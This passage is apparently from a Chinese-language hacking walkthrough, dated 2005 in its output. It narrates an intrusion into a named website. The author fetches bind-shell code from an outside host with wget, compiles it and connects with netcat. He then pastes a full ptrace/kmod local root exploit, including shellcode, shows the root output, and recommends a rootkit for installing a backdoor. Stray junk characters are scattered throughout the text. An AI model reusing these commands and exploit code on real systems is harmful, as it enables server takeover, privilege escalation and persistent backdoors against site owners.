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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
& j+ y) y+ I& h( p& S* [就可以用wget这个命令来下载了,输入
( S3 U% K# P3 p; Q6 { q* y( Xwget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
& k# |8 G# K( r$ W, Z) C1 s2 S0 s# C就是下载这个shell.c到/tmp目录下,如图6 # e2 I2 ~! o" M. Q$ o. I
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
- N+ U' A( r# h* B. c+ ~6 e2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
5 h, R- @$ k3 A$ M! K这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
% L2 H! w' b4 b* V! p在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果3 h4 H7 i, z- {2 j4 m6 n7 d
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
' D6 s3 G& n i- ~12gcc: /usr/bin/gcc1 W2 N: T1 j8 [4 [8 l. D
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
0 {$ Q5 w2 @9 m: z0 P$ f8 Z编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,) N* o6 [$ w4 c4 p1 i4 G
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我
, C( V1 ~) g' G$ P3 N# t们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
# |8 I0 e1 W w6 |' D哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
, G% ?3 V+ R# T+ w8 H呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,
! `% w4 X" O1 L" O3 ANote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
8 H% R% \- O2 {1 b(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
4 E' J2 G5 X5 t' E0 x* Linux kernel ptrace/kmod local root exploit2 h+ b8 J9 z5 q& ~
*" r$ t2 j z3 H% t O
* This code exploits a race condition in kernel/kmod.c, which creates$ s/ R5 A0 F+ a# D( i' }; K
* kernel thread in insecure manner. This bug allows to ptrace cloned
6 N' s1 Y9 I2 T; E- Q* process, allowing to take control over privileged modprobe binary.- G h; w6 R$ ~5 l8 ^( d. |+ h; P
*! t; u2 H5 z0 u3 g6 N* e
* Should work under all current 2.2.x and 2.4.x kernels.
. C2 v) s# r( Y* ; n6 X3 U: A* q0 ]6 z! B
* I discovered this stupid bug independently on January 25, 2003, that $ c2 u3 @0 }2 A( Z2 i& u m
* is (almost) two month before it was fixed and published by Red Hat! @3 t: y- m( @# n4 D2 Y" d
* and others.# y& I7 d+ |2 B
* 0 t5 h+ m* i; o/ \8 r
* Wojciech Purczynski <cliph@isec.pl>
& F. G% F; E, M. F# a, b8 O3 c*
( D# I/ n: {; u* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
$ x6 \& j8 q X: \$ x; j* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY, Q$ F$ q* U, M7 ~8 y: m3 W; a
* ( U7 S2 V2 s8 Z/ Y6 U! \8 y. p7 _
* (c) 2003 Copyright by iSEC Security Research
7 ]8 W- ?" a) N! G$ K*/ #include
" Z4 _. o. _( g2 J- L. I. c#include 0 h" E7 C2 J( j+ K8 ~. @
#include * x @/ U8 v# F. R& {3 L/ G# y
#include * t# t/ ]& h' z0 G- r
#include " v/ ~0 m6 n/ F' u
#include
j/ R% E7 w) f9 M7 N#include ( v3 O% o. I9 p6 o
#include ! L. ]; `3 o3 x" f' x9 N
#include
- u) `, B, ~ m! O7 H r0 M! B& j#include
2 w7 ~8 s! Z" a% t% n#include + M; Z ~9 M: y* H& q7 i
#include : c. l/ Z4 N) H! ~2 }3 C
#include
5 u& K1 ?. _7 Y4 l9 M' K#include
8 i8 t$ F- j1 i4 A#include 2 v3 x/ i6 ^4 f5 i N
#include char cliphcode[] = ^: R/ a7 x$ x! ` J$ j
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
3 Q: J( i1 g( X/ U5 J"\x00\x5b\x31\xc9\x89\xca\xcd\x80"2 c% v. [' o% S) ?7 r
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"8 `3 S0 ^# J3 `; n& i* K
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
- X# S g: I7 n"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;! r' O" j& F' o2 ^ N& I7 q/ S3 R
pid_t child = 1;) F9 q1 R! O4 Z$ Y5 G( A5 g4 W k
pid_t victim = 1;
8 t; y+ b8 x8 J5 }) g, Y9 G) bvolatile int gotchild = 0; void fatal(char * msg)
; D0 ~+ U1 F9 Z$ a8 i{
8 ?3 i8 K$ k) Q* O0 dperror(msg);
. O, T4 V5 f* Pkill(parent, SIGKILL);
8 p# q; U' b6 X5 P6 ?6 Pkill(child, SIGKILL);
6 k* [' Z0 B8 Fkill(victim, SIGKILL);
4 M- W! G* m$ U+ R( _0 G+ J b} void putcode(unsigned long * dst)% \; {6 Z" y7 ]3 g: j
{9 m' u/ |+ ?7 N; M; j; |" G
char buf[MAXPATHLEN + CODE_SIZE];1 _/ ?- E! ]9 x' |2 F
unsigned long * src;' _1 z+ c5 k" |3 P @7 y2 J
int i, len; memcpy(buf, cliphcode, CODE_SIZE);
1 L! k' n8 V* e2 z3 ]7 a+ Clen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
6 i n. E) [& e$ oif (len == -1)
$ W8 P [" x' y" hfatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;4 g* ?! l- [' \) e7 U
buf[len] = '\0'; src = (unsigned long*) buf;4 b* e: F9 R& Q3 }
for (i = 0; i < len; i += 4)
8 p( }) @' V; K# ?$ d) M/ R, ]if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)" A( O( m9 s j' v1 p
fatal("[-] Unable to write shellcode");
1 g0 ^" _3 A: I. u2 T1 @& l# R} void sigchld(int signo)6 a) ?( y: O& U$ [( e- U; y
{
* ]7 s5 ]* Z4 c8 U Pstruct user_regs_struct regs; if (gotchild++ == 0)# ?, _/ w( X/ ^) Q
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
9 Z% O2 Z- N+ n( ~( _% ]fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)3 [, k. m( w" d6 q; Y, a
fatal("[-] Unable to detach from victim"); exit(0);/ u$ j7 R- \* D5 t
} void sigalrm(int signo)
9 S+ [" o2 V/ E0 O( W* F6 F{) q. j4 S! I3 r6 W6 V
errno = ECANCELED;) O7 S$ N" y- V( W* a' \. F
fatal("[-] Fatal error");
# C6 x5 A1 T/ a% e; U2 T} void do_child(void)% a# M7 o& {; E% T0 ?
{6 S2 K: R; p$ N- F4 @# O, g
int err; child = getpid();4 o# w7 N( {! B& j/ U' `" H3 {
victim = child + 1; signal(SIGCHLD, sigchld); do! C/ K1 a: f8 V6 ]% I- z
err = ptrace(PTRACE_ATTACH, victim, 0, 0);" m1 N' n1 j2 x l8 O) P
while (err == -1 && errno == ESRCH); if (err == -1): J# E a4 n- B) g* f1 ?1 j' @ l% X
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);' |9 D$ W9 \$ s( S
while (!gotchild) ;
v6 u. E/ U9 Wif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
0 r( y! i4 i, u' sfatal("[-] Unable to setup syscall trace");
7 ^2 n7 c* {6 A4 _9 cfprintf(stderr, "[+] Waiting for signal\n"); for(;;);9 a$ L7 _# ]$ f0 k0 b# l# m
} void do_parent(char * progname)5 p/ T/ B& U1 t. V+ v0 O" n
{
/ x# O9 V! p& D- U; hstruct stat st;
7 V2 p1 x" B/ P5 Vint err; T% ~7 T' k u9 s" I& n2 [
errno = 0;* M9 O5 L) F+ y) J6 e
socket(AF_SECURITY, SOCK_STREAM, 1);
! u! v; v* ^; t1 L, m- `9 i# rdo {; g3 G, `! r# d8 c7 O" p* a1 H
err = stat(progname, &st);8 V+ O$ G! w4 C. `: [( t
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
) R+ u, T L% J2 qfatal("[-] Unable to stat myself"); alarm(0);- e8 [ p- U* N. d& g- W
system(progname);/ Z/ C& J( t. i
} void prepare(void)! b/ Q6 d* l o& [& h D0 B
{# g; [& E) C7 u. p
if (geteuid() == 0) {
6 ]/ \$ y" T3 Dinitgroups("root", 0);8 E$ f% J8 M5 z# {0 q
setgid(0);
1 L+ n* q2 `: P5 gsetuid(0);+ M% Q1 P- S6 I. e
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
- |; F- V) o* F" a$ ifatal("[-] Unable to spawn shell");
3 O8 ^8 J* {; X}
; ]- u& i2 j& ?} int main(int argc, char ** argv)
+ A/ u3 d. g! i0 ^{
9 y! |* h; r! O/ _) eprepare();
e1 N5 h( a9 F3 R# v! wsignal(SIGALRM, sigalrm);2 p! G' \$ s5 w3 L
alarm(10); parent = getpid();
W. R" \. h( y% m( u$ Y' ^. Dchild = fork();. } A1 a* ~, |- U% t/ D4 _
victim = child + 1; if (child == -1)
9 @. I+ r9 J8 k, j! vfatal("[-] Unable to fork"); if (child == 0)
* W4 X- N7 u, M4 gdo_child();
7 I# C/ T5 R/ Eelse- G- l: }4 Y- }% V6 j' W
do_parent(argv[0]); return 0;
! O r0 R5 y' L+ F z}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |